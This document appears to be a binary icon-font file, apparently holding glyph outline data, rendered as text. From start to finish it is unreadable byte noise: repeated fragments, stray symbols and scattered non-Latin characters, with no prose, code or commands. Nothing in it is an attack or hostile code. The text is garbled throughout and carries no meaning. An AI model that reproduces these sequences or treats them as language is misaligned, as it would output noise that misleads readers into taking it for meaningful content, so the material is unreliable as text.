292Q41*6nA;|BSN.	%1$6	$nk^        ' 7 G W g w       2+"&5463#!"&5463!254&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";26#"&=! B^^BB^^B:FjB^8((`(   `(8^BB^^B@B^"vE j^B (8(`( 8(         / ? O _ o         /?  2#!"&5463;26=4&+";26=4&+";26=4&+";26=4&+"54&+";2654&+";2654&+";2654&+";2654&+";2654&#!"3!2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";2654&+";26@&& &&@@@@@@@@@@@@@@@@@@ @@@@@@@@@ @@@@@@@@@@ &&&&@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@    @`  '  	"&5#"&5&4762!762$"&462B\B@B\BOpP.BB..BB.8$PO広      3 C Q  #".54>32#".546322#"&#"#"54>%".54>32%2#"&54>&X=L|<&X=M{<TMLFTMLFv"?B+D?BJpH=X&<{M=X&<|dMTFLMTF(<kNsI<kNsPvoJPwo/s.=ZYVӮvNk<JsNk<IshwPJovPJo  @     +"&7.54>2r_-$$-_rUU%&&5%ő            '-"'.546762@FF$@B@$.&,&.]]|q #<<# (B  B               B  %'-%'-'%'-"'%&'"'%.5467%467%62@ll@ll,@GG&!@@@@@@!&+#+#6#+$*`:p:px
p=`$>>$&@&@

@&p@       	  & . A  !!"!&2673!"54 32!%!254#!5!2654#!%!2#!8Zp?vdΊens6(N[RWu?rt1SrF|iZ@7މoy2IMC~[R yK{T:         % , A G K  2#!"&5463!!2654'654.#532#532"&5!654&#"327#2#>!!ww@ww~uk'JTMwa|
DH>I1qFj?w@wwwsq*4p9O*¸Z^qh LE
"(nz8B
M         ' ?   "&462 4&#"'.'324&#"3267 ##"&/6326 32 .ʏhhMALR vGhг~~KyO^ʏʏВ*LM@!<I~~t\0          C M   4&"2 #"&'676&/632#!"&=3267%2654&#"&#"%463!2"&4632rqqtR8^4.<x3=RRw@w_h
YӖ	K>שwwȍde)qrOPqȦs:03=<x!m@wwE\xgӕє%wwdȎ  V   - < K \  %.'.>7'.?67'67%'>&%'7%7./6D\$>	"N,?a0#O1G9'/P(1#00($=!F"9|]"RE<6'o9%8J$\:\HiTe<?}V#oj?d,6%N#"
HlSVY]C=    @     C   4&"2!.#!" 4&"2+"&=!"&=#"&546;>3!232^^^Y	 	^^^`pp pp`]ib bi]~^^^e^^^ PppPPppP]^^]       3 ; E M  2+"&=!"&=#"&546;>;5463!232 264&"!.#!" 264&" ]`pp pp`]ibbi^^^dY	 	!^^^]@PppP@@PppP@]^^] ^^^e^^^      3  $#!#!"&5467!"&47#"&47#"&4762++&2
$$
2&&&4&&Z4&&##&&4&4&44&m4&m      + D P  4'&#"32763232674'&!"32763 3264'&$#"32763232> $$ g* o`#ə0#z#l(~̠)-g+^aaF s"	+g(*3#!|#/IK/%*%D=)[^aa        	!!!'!!77! ,/,-a/G      	 t  % / ; < H T b c q         %7.#"32%74'&"32765"/7627#"5'7432#"/7632#"5'7432#"&5'74632	#"/6327#"/6327#"/46329"&/462"&/>21"&/567632#!.547632 632
		*
			X		

^`		

^b	c
	fuU`59u


4J
	l~		~	F	
	2		m|O, 	
ru|	u
"           ) 9    $7 $&=  $7 $&=  $7 $&=   $&=46w`ww`ww`wb` VTEvEEvETVTEvEEvET*VTEvEEvET*EvEEvEEvEEv         # ^ c t    #!"&5463!2!&'&!"&5!632#"&'#"/&'&7>766767.76;267674767&5&5&'67.'&'&#3274(8((88((`x
c`(8 !3;:A0?ݫY
	^U	47D$	74U3I|L38wtL0`((88(@(8(D9 8( Q1&(!;
(g-	Up~R2(/{E(Xz*Z%(i6CmVo8            # T  #!"&5463!2!&'&!"&5!3367653335!3#4.5.'##'&'35(8((88((`x
c`(8 iFFZcrcZ`((88(@(8(D9 8( kk"	kkJ	 	!	k          # S  #!"&5463!2!&'&!"&5!%!5#7>;#!5#35!3#&'&/35!3(8((88((`x
c`(8 -Kg
kL#DCJgjLD`((88(@(8(D9 8( jj	jjkkkk            # 8 C  #!"&5463!2!&'&!"&5!%!5#5327>54&'&#!3#32(8((88((`x
c`(8  G]L*COJ?0R\wx48>`((88(@(8(D9 8( jjRQxk!RY            # * 2  #!"&5463!2!&'&!"&5!!57"&462(8((88((`x
c`(8  Pppp`((88(@(8(D9 8( ppp  	          # * 7 J R  5#5#5#5##!"&5463!2!&'&!"&5##5!"&54765332264&"  <(8((88((`x
c`(8 kޑcO"jKKjK`((88(@(8(D9 8( SmmS?M&4&&4            # 9 L ^  #!"&5463!2!&'&!"&5!#"/#"&=46;76276'.'2764'.(8((88((`x
c`(8 6ddWW6&44`((88(@(8(D9 8( .	G5{{5]]$5995           # 3 C  #!"&5463!2!&'&!"&5!2#!"&5463#"'5632(8((88((`x
c`(8 4LL44LL4l			`((88(@(8(D9 8( L44LL44L	
Z
	           # 7 K [  #!"&5463!2!&'&!"&5!>&'&7!/.?'&6?6.7>'(8((88((`x
c`(8 `3333v?`((88(@(8(D9 8( &&-&&?
  '  6  #'.
'!67&54632".'654&#"32eaAɢ/PRAids`WXyzOvд:C;A:25@Ң>-05rn`H(' gQWZc[          
     -  %7'	%'-'%	%"'&54762[3[MN3",""3,3"ong$߆]gn$+)")")"         x # W  #"&#!+.5467&546326$32327.'#"&5463232654&#"632#".#"oGn\u_MK'̨|g?CM7MM5,QAAIQqAy{b]BL4PJ9+OABIRo?z.z
n6'+s:zcIAC65D*DRRD*wyal@B39E*DRRD*             ' / 7     $&6$ 6277&47'  7'"' 6& 6'lLRRZB|RR>dZZ LlLZRR«Z&>«|R     !   $&54$7  >54 '5PffP牉@s-ff`-      c  6721>?>././76&/7>?>?>./&31#"$&(@8!IH2hM>'
)-*h'N'!'Og,R"/!YQG<I *1)
(-O1D+0nz3fwG2'3rd1!sF0o .q"!%GsH8@-!5|w|pgS="B2PJfhGdR 	        ( P ] l y    &$'77&7567'676'"'7&'&'7&47'6767'627''6$ '67'654'7&'7'&'&'7&'5 &$  $6 $&6$ jj:,AAS9bb9R#:j8AܔA,zC9Z04\40Z9C!B;X0,l,0X;B*A8ܔA&#9j`b9S$#R99#&A8A`䇇<Z<䳎LlLfBϬ"129,V<4!!88dpm"BV,92[P*V*P\MC

CM\P*V*P]LD

DL&BV*8*8!f!4<gmpd88!&!8*8*VB Z<䇇䇇LlL        9 E i s   %#"5432#"543275#&#"3254&'.547>54'63&547#5#"=3235#47##6323#324&"26%#!"&5463!2F]kbf$JMM$&N92<Vv;,&)q(DL+`N11MZ
%G&54	#	i<$8&@0H12F1dw@wwwB?@UTZ3%}rV2hD5%f-C#C@,nO	a7.0x2	yRuR/u%6;&$76%$56S@www     D     < H l w  %4#"324&#"32!".5475&5475.546322#654'3%#".535"&#"5354'33"&+32 #"&54632S;<;||w$+|('-GVVG-EznAC?H_`Rb]Gg>Z2&`9UW=N9:PO;:dhe\=R
+)&')-S99kJ<)UmQ/-Ya^"![Y'(<`X;_L6#)|tWW:;X          	#'#3#!"&5463!2)
p*xeשw@www0,\8@www  9    I   #"'#"&'&>767&5462#"'.7>32>4."&'&54>32JrO<3>5-&FD(=Gq@C$39aLL²L4
&)
@]vq#CO!~󿵂<ZK#*Pq.%L²LLarh({w؜\     i  &5467&6747632#".'&##".'&'.'#".5467>72765'./"#"&'&5}1R<2"7MW'$	;IS7@5sQ@@)R#DvTA;
0xI)!:>+<B76:NFcP:SC4rl+r E%.*a-(6%('>)C	6.      >  
  ! - I [   4&#"324&#"3264&#"324&#"326&#"#".'7$4$32'#"$&6$32D2)+BB+)3(--(31)+BB+)4'--'4'#!0>R	HMŰ9ou7ǖD䣣
R23('3_,--,R23('3_,--,NJ
?uWm%        #"'%#"'.5	%&'&7632! ;	`u%"( !]#c)(	            #"'%#"'.5%&'&76	! 	(%##fP_"( !)'+ŉ       4 I   #"$'&6?6332>4.#"#!"&54766$32#!"&=46;46;2 z䜬m
IwhQQhbF*@&('k@z
	
_hQнQGB'(&*eozΘ@@`             >.  $$ ffff^aa fff^aa  >   "&#"#"&54>7654'&#!"#"&#"#"&54>765'46.'."&54632326323!27654'.5463232632,-,,",:!%]&%@2(/.+*)6!	<.$..**"+8##Q3,,++#-:#"</$)

w


,*

x9-.2"'
,,
@&,,
Qw
,     ,  #"+"&5#+"&5&'&'&547676)2%2$l$#l#b~B@XXyo2$CI@5$$>$$/:yuxv)%$ 	          / ? C G  %!5%2#!"&5463!5#5!52#!"&54632#!"&5463#5!5`&& &&  && &&&& &&@& && &  & && & & && &      %  2 &547%#"&632%&546 #"'6\~~\h
~\h\ V
VVV       % 5  $4&#"'64'73264&"&#"3272#!"&5463!2 }XT==TX}}~>SX}}XS>~}w@www~:xx:~}}Xx9}}9xX}@www        / > L X d s   .327>76 $&6$32762#"/&4762"/&47626+"&46;2'"&=462#"'&4?62E0l,
*"T.D@Yooo@5D

[		

Z
Z

		[	 ``[



Z

	2
,l0
(T".D5@oooY@D,

Z

		[			[		

Z
``EZ

		[		
         5  %!  $&66='&'%77'727'%amlLmf?55>fFtuutFLlLHYCL||LY˄(E''E*(           / ? I Y i y      %+"&=46;2+"&=46;2+"&=46;2+"&=46;2%"&=!#+"&=46;2+"&=46;2+"&=46;2+"&=46;2!54!54>$ +"&=46;2#!"&=@&&@3P>P3&&rrr&&rrr
he
4LKM:%%:MKL4WT&&            % / 9  ##!"&563!!#!"&5"&5!2!5463!2!5463!2&& &  & &&   &&& i@ &&@& 7         '#5&?6262%%o;j|/&jJ%p&j;&i&p/|jţ%Jk%o%      	  : g  "&5462#"&546324&#!"263662>7'&75.''&'&&'&6463!276i~ZYYZ~@OS;+[G[3YUD#o?D&G3I=JyTkBuhNV!WOhuAiSy*'^CC^'*SwwSTvvTSwwSTvvWID\_"[gq# /3qFr2/ $rg%4
HffHJ4   d       #!#7!!7!#5!VFNrmNNNN!     Y  + ? N e  %&'&'&7>727>'#&'&'&>2'&'&676'&76$7&'&767>76'6#<;11x#*#G,T93%/#0vNZ;:8)M:(	&C.J}2	%0 	^*
JF	
&7'X"2LDM"	+6
M2+'BQfXV#+]
#'
L/(eB9   
             # , 8  !!!5!!5!5!5!5#26%!!26#!"&5!5          &4& &pPPp        @@&&@!&@PppP@  *  	  9 Q  $"&54627"."#"&547>2"'.#"#"&5476$ "'&$ #"&5476$ (}R}hLK
NN
 Ud:
xx
8

 ,, |2222
MXXM
ic,>>,

		
̺
           ' / 7 ? K S c k {  4&"2$4&"2 4&"2 4&"2 4&"2 4&"2 4&"2 4&"24&"26 4&"24&#!"3!264&"2#!"&5463!2KjKKjKjKKjKjKKjKKjKKjKjKKjKjKKjKKjKKjKjKKjKLhLLhLKjKKj& && &KjKKjL44LL44L5jKKjKKjKKjKjKKjKjKKjKjKKjKjKKjKjKKjKjKKjK4LL44LLjKKjK && &&jKKjK  4LL4 4LL  	   ' E  !#"+"&7>76;7676767>'#'"#!"&7>3!2W",&7'	#$	&gpf5O.PqZZdS-V"0kqzTxD!!8p8%'i_F?;kR(`
!&)   '    
   (  2 !&6367 !	&63!2!
`B1LO(+#=) heCQg#s`f4#6q'X|0-g   	      > I Y  #6?>7&#!%'.'33#&#"#"/3674'.54636%#"3733#!"&5463!24:@7vH%hEP{0&<'VFJo1,1.F6A#L4 4LL4 4L"%	
 
7x'6O\JYFw~v^fH$ !"xdjD"!6`J 4LL4 4LL   	    + 3 @ G X c g q z     -<JX{  &#"327&76'32>54.#"35#3;5#'#3537+5;3'23764/"+353$4632#"$2#462#"6462""'"&5&5474761256321##%354&'"&#"5#35432354323=#&#"32?4/&54327&#"#"'326'#"=35#5##3327"327'#"'354&3"5#354327&327''"&46327&#"3=#&#"32?"5#354327&3=#&"32?"#3274?67654'&'4/"&#!"&5463!2_gQQh^_~\[[\]_^hQQge<F$$$ !!&&/!/!!00/e&'!"e$
		'!!''
	8''NgL4 4LL4 4LUQghQUk=<Sccc,-{kjUQhgQ9
,&W &$UK$$KK$$KDC(>("
!
=))=2( '! 'L#(>(&DC(>(zL#DzG)<) 4LL4 4LL    	  
    B W b j q }    +532%+5324&+32763#4&'.546327&#"#"'3265#"&546325&#"32!26 4&"2%#'#735#535#535#3'654&+353#!"&5463!29$<=$@?SdO__J-<AA@)7")9,<$.%0*,G3@%)1??.+&((JgfJ*A!&jjjGZYGиwsswPiL>8aA	!M77MM77M3!4erJ]&3YM(,
,%7(#),(@=)M%A20C&Mee(X0&ĖjjjV	8Z8J9N/4$8NN88NN      	       # & : O [   	$?b  3'7'#3#%54+32%4+324+323'%#5#'#'##337"&##'!!732%#3#3##!"&53733537!572!56373353#'#'#"5#&#!'#'#463!2#"5#"5!&+&+'!!7353273532!2732%#54&+#32#46.+#2#3#3##+53254&".546;#"67+53254&.546;#"#'#'##"54;"&;7335wY-AJF=c(TS)!*RQ+*RQ+Y,B^9^Ft`njUM')	~PS PRm٘M77Mo7q

@)U	8"E(1++NM77Mx378D62W74;9<-A"EA0:AF@1:ؗBf~~""12"4(w$#11#@}}!%+%5(v$:O\zK?*$\amcrVlOO176Nn<!E(=<&l/<<[ZZYY891767OO7==..//cV==::z,,,,aa,,7OO7Z::;;YfcW(		"6-!c(		!5	#
bt88176tV:
&$'*9	%e#:%'*9B<<;
&(        	    # : S n       #"&54632%#76;2#"&54632%4&+";2?>23266&+"&#"3267;2 4&+"'&+";27%4&+";2?>23266&+"&#"3267;254+";27#76;2#!"&5463!23%#2%%,, _3$$2%%M>ALVb5)LDHeE:<EMj,K'-RM ~M>ARVb5)LEHeE:<EJABI*'!($rL4 4LL4 4Lv%1 %3!x*k$2 %3!;5h
n
a
!(lI;F	
	
	rp
p8;5h
t
a
!(lI;F`	#k 4LL4 4LL   
  	  
  2 H W [ l t    #"'5632#6324&'.54327&#"#"&'32767#533275#"=5&#"'#36323#4'&#"'#753276 4&"24'&#"327'#"'&'36#!"&5463!2=!9n23BD$ &:BCRM.0AC'0RH`Q03'`.>,&I / * /

8/n-(G@5$ S3=,.B..B02^`o?7je;9G+L4 4LL4 4LyE%#	Vb;A!p &'F:Aq)%)#orgT$v2 8)2z948/{8AB..B/q?@r<7(g/ 4LL4 4LL        ?  #!"&'24#"&54"&/&6?&5>547&54626=L4@ԕ ;U g3

T
2RX='8P8|5
4Ljj U;Ig@
	
`
 "*\(88(]k
          & N  4#"&54"3	.#"#!"&'7!&7&/&6?&5>547&54626;U gIm*]Z0L4@ԕ=o=CT

T
2RX='8P8|5
 U;IgXu?bl3@4Ljja`
	
`
 "*\(88(]k         / 7 [  %4&+";26%4&+";26%4&+";26!'&'!+#!"&5#"&=463!7>3!2!2 @@ @@ @@0

o`^BB^`5FN(@(NF5@@@u		@LSyuS@%44%     , < H  #" 54 32+"=4&#"326=46;2  >.  $$ ~Isy9"SgR8vHD	w
ffff^aam2N+	)H-mF+10*F		+fff^aa        b  4&#"32>"#"'&'#"&54632?>;23>5 !"3276#"$&6$3  k^?zb=ka`U4J{K_/4^W&	vx :XB0܂ff)
fzzXlz=lapzob35!2BX
G@8'	'=vN$\ff	1	SZz8zX          # (   "/+'547'&4?6276	'D^h



i%5 @%[i



h]@ ]h



i%@ 5%[i



h^@@       )  2 #"&5476 #".5327>OFi-ay~\~;'S{s:D8>)AJfh ]F?X{[TC6LlG]v2'"%B];$         - o     %!2>7>3232>7>322>7>32".'.#"#"&'.#"#"&'.#"#546;!!!!!32#"&54>52#"&54>52#"&54>52  -P&+#($P.-P$'#+&PZP&+#"+&P-($P-.P$(#+$P.-P$'#+&P-.P$+#pP@     @Pp H85K"&Z H85K"&Z H85K"&Z@Pp@@@pMSK5, :&LMSK5, :&LMSK5, :&        !!3	!	    @  @@           	#"$$3!!2 "jaѻxl alxaa j         !!3/"/'62'&63!2   'y

`I

y My

`I

y'       W `  #".'.#"32767!"&54>3232654.'&546#&'5&#"

4$%Eӕ;iNL291 ;XxR`f՝Q8TWiWgW:;*:`Qs&?RWXJ8oNU0J1F@#)
[%6_POQiX(o`_?5"$iʗ\&>bds6aP*< -;iFn*-c1B       W g  4'.'4.54632#7&'.#"#"'.#"32767'#"&54632326#!"&5463!2#$(	1$6]'
!E3P|ad(2S;aF9'EOSej]m]<*rYshpt.#)$78L*khw@wwwB
%$/$G6
sP`X):F/fwH1pdlqnmPHuikw_:[9D'@www            3   4."2>$4.#!!2>#!".>3!2QнQQнQQh~wwhf ff нQQнQQнQZZQffff           #  >3!2#!".2>4."f ff нQQнQQffffQнQQн      	      , \  !"&?&#"326'3&'!&#"#"'     5467'+#"  327#"&463!!'#"&463!2632(#AHs9q  ci<=
#]<OFA!re&&U&& ![eF U?g4_a?b+r7&4&&4&p,           + K   4&"2$4&"2.#!"3!264&#!"3!2#"&=!"&=#47>$ KjKKjKKjKKjH#j#H&&&KjK KjKg	V	ijKKjKKjKKjK..n(([5KK55KK5[poNv<<vN:f      . R   #!"&463!24'!"&5463!&$#"!2#!32>+#" '#"&546;&546$32 322$B$22$$*$22$Xڭӯ$22$tX'hs2$ϧkc$22$1c$2F33F3VVT2#$2ԱVT2#$2g#2UU݃
2$#2UU1݃2         , u   54#"67.632&#"32654'.#"32764.'&$#"7232&'##"&54732654&#"467&5463254632>32#"'&ru&9%"*#͟ <yK0Og" &9B3;㛘8s%+DWXRD= @Y%	!Q6R!4M8+6rU^z=)RN.)C>O%GR=O&^opC8pP*bY
_#$N Pb@6)?+0L15"4$.Es
5IQ"!@h"Y7e|J>ziPeneHbIlF>^]@n*9         6 [ _  3#"&54632#.#"32%3#"&54632#.#"326%4&'.'&! ! 7>7>!=39?
6'_>29?
5'17m-VU--,bW. 뮠@Fyu0HC$뮠@Fyu0HC$L=??<=! A	<          `  ;  +"&54&#!+"&5463!2#!"&546;2!26546;2pЇ0pp@I pp        > S c  +"&=46;254&+"&+";2=46;2;2=46;2;2%54&#!";2=;26#!"&5463!2A5DD5A7^6a7MB55B7?5B~```0`rr5A44A5v5AA5f*A``0`       	   !!!!	#!"&5463!2ړ7H7jv@vvv'  :@vvv          M U a h m r x                  #"'!"'!#"&547.547.54674&547&54632!62!632!#!627'!%!"67'#77!63!!7357/7'%#	%'3/&=&'	5#?&5476 !p4q"""6" 'h*[|*,@?wAUMpV@˝)Ϳw7({*U%K6=0(M		"!O		dX$k
!!!b	
[TDOi
@6bxBAݽ5ɝ:J+3,px1Fi
(R         463!#!"&5%'4&#!"3`а@..@A-XfB$.BB..C     } 
   )   &54$32 &'  % &&'6 7"w`Rd]G{o]>p6sc(@wgmJPAjyYWa͊AZq{HZ:<dv\gx>2ATKn       + ;  "'&#"&#"+6!263 2&#"&#">3267&#">326e~└Ȁ|隚Ν|ū|iyZʬ7Ӕްr|uѥx9[[9jj9ANN+,#ll"BS32fk     [   / ? \  %4&+";26%4&+";26%4&+";26%4&+";26%#!"&5467&546326$32]]eeeeee$~i
qfN-*#Sjt2"'qCB8!   '  >    	      ! % ) - 1 5 9 = A E I M Q U Y ] a g k o s w {           !	%!	5!#5#5#5#5#57777????#5!#5!#5!#5!#5!#5!#5!#5#537#5!#5!#5!#5!#5!#55#535353535353%"&546326#"'#32>54.&54>3237.#" Q%%%%%%%%%?iiihOiixiiyiixiiArssrrssr%sssrrssNs%%%%%%%%%%'<D<'paC_78#7PO7)("I$	75! RAb(ssssssssss"/!".""."!."".!/^.".^.".]/".$$$$$$$$$$$$$$$$Os$$$$$$$$$$$$$$sO$sssssssssss#}$)	13?*
,./:
-      s    *   4&"2$4&"2#!"&5463!2!5463!2_?--??-,@@,-?pq8,??,D,??,,??      (    Z  2#".#"3267>32#".54 3232654&#"#"&54654&#"#"&547>326ڞUzrhgrxSПdU <ex՞Zf_gן:k=2;^9Œ7\xx\7K=5XltֆWW{e_%N%,%CI%      # + W   4&+54&"#";26=32 "&462"&462!2#!"&54>7#"&463!2!2&&4&&&&4&KjKKjKjKKj && &%&& &&4&&&&4&&&5jKKjKKjKKjK %z
0&4&&3D7&4&%&          ' S   4&"4&"'&"27 "&462"&462!2#!"&54>7#"&463!2!2 &4&4&4& 4 KjKKjKjKKj && &%&& &&4&%&&ے&4  "jKKjKKjKKjK %z
0&4&&3D7&4&%&           	    &  	!'!	!%!!!!%"'.763!2o]FooZY@:@!! gf /  /      I    62'"/"/"/"/"/"/"/7762762762762762762%"/77627&6?35!5!!3762762'"/"/"/"/"/"/%5#5!4ZSS6SS4SS4SS4SS4SS4SS4ZSS4SS4SS4SS4SS4SS4S-4ZSS4S@   4SS4ZSS6SS4SS4SS4SS4SS4S@ ZSSSSSSSSSSSSSSZSSSSSSSSSSSSSyZRRR@%:=
:+:
=RRZSSSSSSSSSSSSS         C v  !/&'&#""'&#"	32>;232>7>76#!"&54>7'3&547&547>763226323@``` 
VFaaFV
$.

.$yy	.Q5ZE$ ,l<l, $ER?Y*@@2	!#""#!	yy=rna@@(89*>*%>>%*>*98(QO!       L \ p  '.'&67'#!##"  327&+"&46;2!3'#"&7>;276;2+6267!"'&7&#"(6&#"#"'DgOOG`n% ELL{@&&Nc, sU&&!Fre&&ss#/,<=
#]gLoGkP'r-n&4&2-ir&&?o 4_      5 O W  ! .54>762>7.'.7>+#!"&5#"&5463!2"&462{{BtxG,:`9(0bԿb0(9`:,GxtB&@& &@&K55K`?e==e?1O6#,
#$
,#6OO&&&&5KK      ?  !"'&'!2673267!'.."!&54632>32 1
4q#F""8'go#-#,"tYg>oP$$Po> 	Zep#)R0+I@$$@I+     + 3   32++"&=#"&=46;.7>76$     @ᅪ* r@@r      ' /  2+"&5".4>32!"&=463      &@~[՛[[u˜~gr&`u՛[[՛[~~@r         = E   32++"&=#"&=46;5& 547&'&6;22676;2      >``@``ٱ?E,,=?rH@``@GݧH`jjr     B J  463!2+"&= 32++"&=#"&=46;5.76 76%#"&5        &@~``@`` vX r&@``@+BF`r       k s  463!2+"&= 32++"&=#"&=46;5& 547'/.?'+"&5463!2+7>6 %#"&5        &@~``@``~4e	
0
	io@& jV	
0
	Z9 r&@``@Gɞ5o
,
sp &@k^
,
c8~~`r       8 > K R _  32++"&=!+"&=#"&=46;.76 766 6'27&547&#"  &'2  #"@ @'Ϋ'sggsww@sgg@@-ssʃl99OOr99     F P ^ l  463!2+"&= $'.7>76%#"&=463!2+"&=%#"&54'>%&54 7.#" 2 54&'   &@L?CuГP	vY  &@;"  ޥ5݇ޥ5`&_ڿgwBF@&J_	s&&?%x%x      J P \ h  463!2+"&= '32++"&=#"&=46;5.76 76632%#"&56'  327&7&#"2  #" &@L? ߺu``@``}ຒɞ  ueeu9uee&_"|N@``@""|a~lo99r9@9       ; C  2+"&5"/".4>327'&4?627!"&=463      &@Ռ		.	
N~[՛[[u˜N		.	
gr&`֌
	.		Ou՛[[՛[~N
	.		@r       9 A   '.'&675#"&=46;5"/&4?62"/32+     '֪\
	.		4		.	
\r|ݧ憛@\		.	

	.		\@r     ~ 9 A  "/&4?!+"&=# #"$7>763546;2!'&4?62      m		-

@ݧ憛@&

-		@rm4

-		ٮ*		-

r           +"&5& 54>2      @[՛[rdGu՛[[r                 ".4>2 r[՛[[՛r5՛[[՛[[      $  2#!37#546375&#"#3!"&5463#22#y/Dz?s!#22#2##2S88	2#V#2        L  4>32#"&''&5467&5463232>54&#" #"'.Kg&RvgD
$*2%	+Z hP=DXZ@7^?1۰3O+lh4`M@8'+c+RI2
\ZAhSQ>B>?S2Vhui/,R0+	ZRkm      z  + > Q   2#"'.'&756763232322>4."7 #"'&546n/9bLHG2E"D8_
pdddxO"2xxê_lx2X	
!+'5>-pkW[CI
I@50Oddd˥Mhfxx^ә  	           # ' + /  7!5!!5! 4&"2!5! 4&"24&"2!!!     8P88P   8P88P88P88P     P88P8 P88P88P88P8          + N    &6 !2#!+"&5!"&=463!46;23!#!"&54>32267632#"_>@`` L4 Dgy 6Fe=OOU4L>``4L2y5eud_C(====`L4       3 V    &6 #"/#"/&54?'&54?6327632#!"&54>32 7632_>																%%Sy 6Fe=J%>																%65%Sy5eud_C(zz.!6%          $  !2!!!46;2 4&"2!54&#!" &   &&@ԖV@& &@  &&ԖԖ@&             3!!!	!5!'!53!!	# 7IeeI7 CzC l @@  @            #  2#!"&?.54$3264&"!@մppp  ((ppp              # + /  2#!"&?.54$3264&"! 264&"!@մ^^^@^^^@ ((^^^  ^^^         v    (  #"'%.54632	"'% 	632U/@k0G,zD#[k#
/t g
FGz        	#'#3!)
p*xe 0,\8     T   # / D M %2<GQ^lw  &'&676676&'&7654&'&&546763"#"'3264&7.>&'%'.767&7667&766747665"'.'&767>3>7&'&'47.'.7676767&76767.'$73>?>67673>#6766666&'&6767.'"'276&67&54&&671&'6757>7& "2654&57>&>&'5#%67>76$7&74>=.''&'&'#'#''&'&'&'65.'&6767.'#%&''&'#2%676765&'&'&7&5&'6.7>&5R4&5S9W"-J0(/rV"-J0(.)#"6&4pOPppc|o}vQ[60XQW1V	#5X		N"&.
)
D>q J:102(z/=f*4!>S5b<U$:I o<G*	,&"O	X5
#!
	R N#C83J*R	!(D#%37	;$-.(,覦6ij
	")9
E%!B83
	j96/,	:QD')yX#63Vba	,
UeLPA@*	̳`Xx*&E
V36%	B3%	B3XA	#!.mU"A	#!.mUB-#2+Jiiim-C<I(m8qF/*)0S
		
I
E5&+>!%
(!$p8~5..:5I~T
4~9p# !
)& ?()5F	1		
 d%{v*: @e
s|D1d {:*dAA|oYk'&<tuut&vHCXXTR;w71Z*&'1	9?	.$Gv5k65P<?8q=4a	SC"1#</6B&!ML	^;6k5wF1<P    C	   ;  $"&462"&46232>.$.`aasa``Z9k'9؋ӗa-*Gl|Me_]`F&OܽsDD!/+``aa``a1<YK3(
 /8HQelAZ3t_fQP<343J;T7Q           + ? K g w     $6&$  $&62+"5432+"&=.54  $;26=462;26=4& 4&#!"3!26)߄4R4߄mlLr {jK#@#Qa^@@`&&&&߄4R4ĎLlLN @K5#:rr:#5K^aa``]]`` && &&       	     /  !3#4&#!"3!265##!"&5463!22 @ K5^BB^^B@B^5K    @5KB^^BB^^BK        	     /  !2##!"&5463!2#4&#!"3!265  5KK5^BB^^B@B^@   K55KB^^BB^^B` @      	     /  !2##!"&5463!2#4&#!"3!265  5KK5^BB^^B@B^@   K55KB^^BB^^B` @      	     /  !2##!"&5463!2#4&#!"3!265  5KK5^BB^^B@B^@   K55KB^^BB^^B` @      	    +  2##!"&5463!2#4&#!"3!2655KK5^BB^^B@B^@K55KB^^BB^^B` @    {    #!&'#"'&547632m*
0(('($0K
**      %   3#!3# '!#53 5#534!#53 6!3@@@@pp@@@@@pp@`     	          + / 7 ; A  #3!5!!3#!!5!35!355#%53#5!#35#!!!!!!!!                           
   	    # ' + / 3 ? C G W  #3!5!!35!!3#!!5!#!5!3535!355#%#3%!53#5!#35#!5##5!3!5!3!5	               !"&5463!2!"! `(88(@(8`(8}22R `8(@(88(`8HR22         #  #6?6%!!!46#!"&5463!2x  8(`( (88(@(8 
  (8 (`(8(@(88      	    ' A T d   +5326+5323##"' %5&465./&76%4&'5>54&'"&#!!26#!"&5463!2

iLCly5)*Hcelzzlec0hb,,beIVB9@RB9J_L4 4LL4 4L44%2"4:I;p!q4bb3p(P`t`P(6EC.7BI6 4LL4 4LL    	     . >  $4&'6 #".54$ 4.#!"3!2>#!"&5463!2Zjbjj[wٝ]>oӰٯ*-oXL4 4LL4 4L')꽽)J)]wL`ֺ۪e 4LL4 4LL           ;  4&#!"3!26#!"&5463!2#54&#!";#"&5463!2@^BB^^B@B^B^^B@B^`@MB^^B@B^^>^B@B^^         5 = U m  	!	!!2#!"&=463!.'!"&=463!>2!2#264&"".54>762".54>762  ?(``(?b|b?B//B/]]FrdhLhdrF ]]FrdhLhdrF@@@(?@@?(@9GG9@/B//BaItB!!BtIѶ!!ьItB!!BtIѶ!!ь        - M  32#!"&=46;7&#"&=463!2#>5!!4.'.46ՠ`@`ՠ`MsF FsMMsF FsMojjo@@jj@@<!(!!(!        - 3 ?  32#!"&=46;7&#"&=463!2+!!64.'#ՠ`@`ՠ` 		DqLLqDojjo@@jj@@B>=C          - 3 ;  32#!"&=46;7&#"&=463!2+!!6.'#ՠ`@`ՠ` UVU96gg6ojjo@@jj@@β**ɍ        - G  32#!"&=46;7&#"&=463!2#>5!!&'.46ՠ`@`ՠ`MsF FsMkkojjo@@jj@@<!(!33!(!          9 I  2#!"&=4637>7.'!2#!"&=463@b":1P4Y,++,Y4P1:"":1P4Y,++,Y4P1:"b@@@7hVX@K-AA-K@XVh77hVX@K-AA-K@XVh7         A j  "#54&#"'54&#"3!26=476=4&#"#54&'&#"#54&'&'2632632#!"&5&=4632>326 5K @0.B @0.B#6'&&
l
@0.B 2'	.B A2TA9B;h" dmpPTlLc_4.HK5]0CB.S0CB./#'?&&)$$)0CB. }(AB.z3M2"61d39L/PpuT(Ifc_E       `  1 X   "#4&"'&#"3!267654&"#4&"#4&26326#!"&'&5463246326\B B\B&@5K&@"6LB\B B\B sciL}QP<m$3jN2cB.p.BB. 3K5+" 3," .BB..BB..G=ci(+lOh7/ DVj"c=        & 5 J b   #"'&=.547!"&46;'.54632!2327%.54&#"327%>%&#"!"3!754?27%>54&#!26=31?>Ijjq,J[j.-tjlV\$B.R1?@B.+?2`$v5K-%5KK5.olRIS+6K5̈$B\B 94E.&ʀ15uE&
ԖPjjdXUGJ7!.B

P2 .B
%2@	7K5(B@KjKj?+f UE,5K~!1.>F.F,Q5*H          $ b  2#!"&=%!"&=463!7!"&'&=4634'&#!">3!!"3!32#!"3!23!26=n$<vpPPpPpw*RdApP]'@A&
3@&H-[(8@
2EB^&1=&& 81PppPpP wcOg Ppc4& #.& &,,:8(%^B &.&&       2 t  "&'&54'&5467>32>32>32#"#.#"#.#"3!27654&#"547654&#"#654&Myet|]WSSgSY\x{
70"1i92DU1&=		=&0@c	>&/Btd4!*"8K4+"@H@/'=	t? _K93-]
